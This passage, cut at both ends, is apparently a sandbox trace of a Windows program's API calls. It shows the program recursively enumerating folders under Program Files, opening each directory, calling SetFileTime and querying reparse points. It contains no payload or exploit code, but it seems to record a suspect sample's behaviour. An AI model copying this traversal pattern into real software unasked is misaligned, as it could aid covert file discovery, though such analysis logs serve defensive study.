Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0144.811] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.812] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.812] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.812] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.814] GetLastError () returned 0x12 [0144.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.814] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.814] GetLastError () returned 0x12 [0144.814] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.814] GetLastError () returned 0x12 [0144.814] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.816] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.816] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6600, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6600, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.816] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0144.818] GetLastError () returned 0x12 [0144.818] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cf8 [0144.819] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.820] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.820] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b5cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b5cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.821] GetLastError () returned 0x12 [0144.821] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.821] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.822] GetLastError () returned 0x12 [0144.822] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.822] GetLastError () returned 0x12 [0144.822] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.822] GetLastError () returned 0x12 [0144.822] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.822] GetLastError () returned 0x12 [0144.822] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0144.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.823] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.823] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0144.823] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b5cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b5cb8, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0144.823] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829b78 [0144.824] GetLastError () returned 0x12 [0144.824] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829c38 [0144.826] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0144.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.828] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0144.829] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.829] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6680, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6680, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.829] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0144.830] GetLastError () returned 0x12 [0144.830] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829cf8 [0144.830] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0144.831] GetLastError () returned 0x12 [0144.831] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.832] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.832] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0144.832] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6680, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6680, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0144.833] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829cf8 [0144.835] GetLastError () returned 0x12 [0144.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0144.835] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.836] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.837] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.837] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b6680, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b6680, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.837] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cf8 [0144.841] GetLastError () returned 0x12 [0144.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.841] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.843] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.843] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.843] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9bb188, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9bb188, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.846] GetLastError () returned 0x12 [0144.846] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.846] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.846] GetLastError () returned 0x12 [0144.846] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.848] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.848] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9bbc50, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9bbc50, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.851] GetLastError () returned 0x12 [0144.851] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.851] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.851] GetLastError () returned 0x12 [0144.851] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.853] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.853] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c0f58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c0f58, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.854] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.856] GetLastError () returned 0x12 [0144.856] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.856] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.856] GetLastError () returned 0x12 [0144.856] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.860] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.860] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c0f58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c0f58, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.860] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.862] GetLastError () returned 0x12 [0144.862] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.863] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.863] GetLastError () returned 0x12 [0144.863] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.865] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0144.865] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.866] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9c0f58, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9c0f58, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.866] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cf8 [0144.868] GetLastError () returned 0x12 [0144.868] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829b38 [0144.868] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.868] GetLastError () returned 0x12 [0144.868] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: 